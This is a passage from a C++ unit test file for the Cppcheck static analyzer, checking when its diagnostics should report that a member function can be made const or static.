#11654\n \" void f(bool b);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" if (i && b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" void f(int& r);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(int& r) {\\n\"\n \" r = 0;\\n\"\n \" if (i)\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #11744\n \" S* p;\\n\"\n \" int f() {\\n\"\n \" if (p)\\n\"\n \" return 1 + p->f();\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" int g(int i) {\\n\"\n \" if (i > 0)\\n\"\n \" return i + g(i - 1);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:8:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n\n checkConst(\"class C {\\n\" // #11653\n \"public:\\n\"\n \" void f(bool b) const;\\n\"\n \"};\\n\"\n \"void C::f(bool b) const {\\n\"\n \" if (b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (performance, inconclusive) Technically the member function 'C::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const90() { // #11637\n checkConst(\"class S {};\\n\"\n \"struct C {\\n\"\n \" C(const S*);\\n\"\n \" C(const S&);\\n\"\n \"};\\n\"\n \"class T {\\n\"\n \" S s;\\n\"\n \" void f1() { C c = C{ &s }; }\\n\"\n \" void f2() { C c = C{ s }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'T::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const91() { // #11790\n checkConst(\"struct S {\\n\"\n \" char* p;\\n\"\n \" template \\n\"\n \" T* get() {\\n\"\n \" return reinterpret_cast(p);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const int* f(S& s) {\\n\"\n \" return s.get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const92() { // #11886\n checkConst(\"void g(int);\\n\"\n \"template\\n\"\n \"struct S : public S {\\n\"\n \" void f() {\\n\"\n \" g(n - 1);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template<>\\n\"\n \"struct S<0> {};\\n\"\n \"struct D : S<150> {};\\n\");\n // don't hang\n }\n\n void const93() { // #12162\n checkConst(\"struct S {\\n\"\n \" bool f() {\\n\"\n \" return m.cbegin()->first == 0;\\n\"\n \" }\\n\"\n \" bool g() {\\n\"\n \" return m.count(0);\\n\"\n \" }\\n\"\n \" std::map m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const94() { // #7459\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A() : tickFunction(&A::nop) {}\\n\"\n \" void tick() { (this->*tickFunction)(); }\\n\"\n \"private:\\n\"\n \" typedef void (A::* Fn)();\\n\"\n \" Fn tickFunction;\\n\"\n \" void nop() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const95() { // #13320\n checkConst(\"class C {\\n\"\n \" std::string x;\\n\"\n \" std::string get() && { return x; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const96() {\n checkConst(\"struct S : B {\\n\" // #13282\n \" bool f() { return b; }\\n\"\n \" bool g() override { return b; }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Either there is a missing 'override', or the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct B;\\n\" // #13382\n \"struct S : B {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" B::g(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const97() { // #13301\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int f() {\\n\"\n \" const int& r = v.front();\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" int g() {\\n\"\n \" const int& r = v.at(0);\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" if (v.front() == 0) {}\\n\"\n \" if (1 == v.front()) {}\\n\"\n \" }\\n\"\n \" void i() {\\n\"\n \" v.at(0) = 0;\\n\"\n \" }\\n\"\n \" void j() {\\n\"\n \" dostuff(1, v.at(0));\\n\"\n \" }\\n\"\n \" void k() {\\n\"\n \" int& r = v.front();\\n\"\n \" r = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct B { std::string s; };\\n\"\n \"struct D : B {\\n\"\n \" bool f(std::string::iterator it) { return it == B::s.begin(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'D::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const98() { // #13642\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set(int* p) {\\n\"\n \" *p = 1;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f() {\\n\"\n \" set(reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" set(reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" set((int*)(&e));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set1(int i, int* p) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"void set2(int* p, int i) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f1() {\\n\"\n \" set1(1, reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" set2(reinterpret_cast(&e), 1);\\n\"\n \" }\\n\"\n \" void g1() {\\n\"\n \" set1(1, reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void g2() {\\n\"\n \" set2(reinterpret_cast(reinterpret_cast(&e)), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const99() {\n checkConst(\"typedef void (*InitFunc)(void**);\\n\" // #13953\n \"struct S {\\n\"\n \" int *m;\\n\"\n \" void f(InitFunc func) {\\n\"\n \" func(reinterpret_cast(&m));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const100() {\n checkConst(\"struct S {\\n\" // #14023\n \" void f() { ++i; }\\n\"\n \" void f() const {}\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #14033\n \" void f();\\n\"\n \" void f() const {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void const_handleDefaultParameters() {\n checkConst(\"struct Foo {\\n\"\n \" void foo1(int i, int j = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar1() {\\n\"\n \" return foo1(1);\\n\"\n \" }\\n\"\n \" int bar2() {\\n\"\n \" return foo1(1, 2);\\n\"\n \" }\\n\"\n \" int bar3() {\\n\"\n \" return foo1(1, 2, 3);\\n\"\n \" }\\n\"\n \" int bar4() {\\n\"\n \" return foo1();\\n\"\n \" }\\n\"\n \" void foo2(int i = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar5() {\\n\"\n \" return foo2();\\n\"\n \" }\\n\"\n \" void foo3() {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar6() {\\n\"\n \" return foo3();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (performance, inconclusive) Technically the member function 'Foo::bar3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:14:9]: (performance, inconclusive) Technically the member function 'Foo::bar4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const_passThisToMemberOfOtherClass() {\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Bar b;\\n\"\n \" b.takeFoo(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Foo f;\\n\"\n \" f.foo();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Foo::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A;\\n\" // #5839 - operator()\n \"struct B {\\n\"\n \" void operator()(A *a);\\n\"\n \"};\\n\"\n \"struct A {\\n\"\n \" void dostuff() {\\n\"\n \" B()(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningPointerToPointerIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" int** v;\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v = 0;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningArrayElementIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" ::std::string v[3];\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v[0] = \\\"Happy new year!\\\";\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement => not const\n void constincdec() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10077\n \" int i{};\\n\"\n \" S& operator ++() { ++i; return *this; }\\n\"\n \" S operator ++(int) { S s = *this; ++(*this); return s; }\\n\"\n \" void f() { (*this)--; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constassign1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassign2() {\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement array element => not const\n void constincdecarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassignarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n // return pointer/reference => not const\n void constReturnReference() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int &getR() { return a; }\\n\"\n \" int *getP() { return &a; }\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // delete member variable => not const (but technically it can, it compiles without errors)\n void constDelete() {\n checkConst(\"class Fred {\\n\"\n \" int *a;\\n\"\n \" void clean() { delete a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // A function that returns unknown types can't be const (#1579)\n void constLPVOID() {\n checkConst(\"class Fred {\\n\"\n \" UNKNOWN a() { return 0; };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (performance, inconclusive) Technically the member function 'Fred::a' can be static.\\n\", \"\", errout_str());\n\n // #1579 - HDC\n checkConst(\"class Fred {\\n\"\n \" foo bar;\\n\"\n \" UNKNOWN a() { return b; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // a function that calls const functions can be const\n void constFunc() {\n checkConst(\"class Fred {\\n\"\n \" void f() const { };\\n\"\n \" void a() { f(); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::a' can be const. [functionConst]\\n\", errout_str());\n\n // ticket #1593\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" unsigned int GetVecSize() {return m_v.size();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (style, inconclusive) Technically the member function 'A::GetVecSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" bool GetVecEmpty() {return m_v.empty();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style, inconclusive) Technically the member function 'A::GetVecEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constVirtualFunc() {\n // base class has no virtual function\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8] -> [test.cpp:8:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:9:9] -> [test.cpp:11:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func() = 0;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n 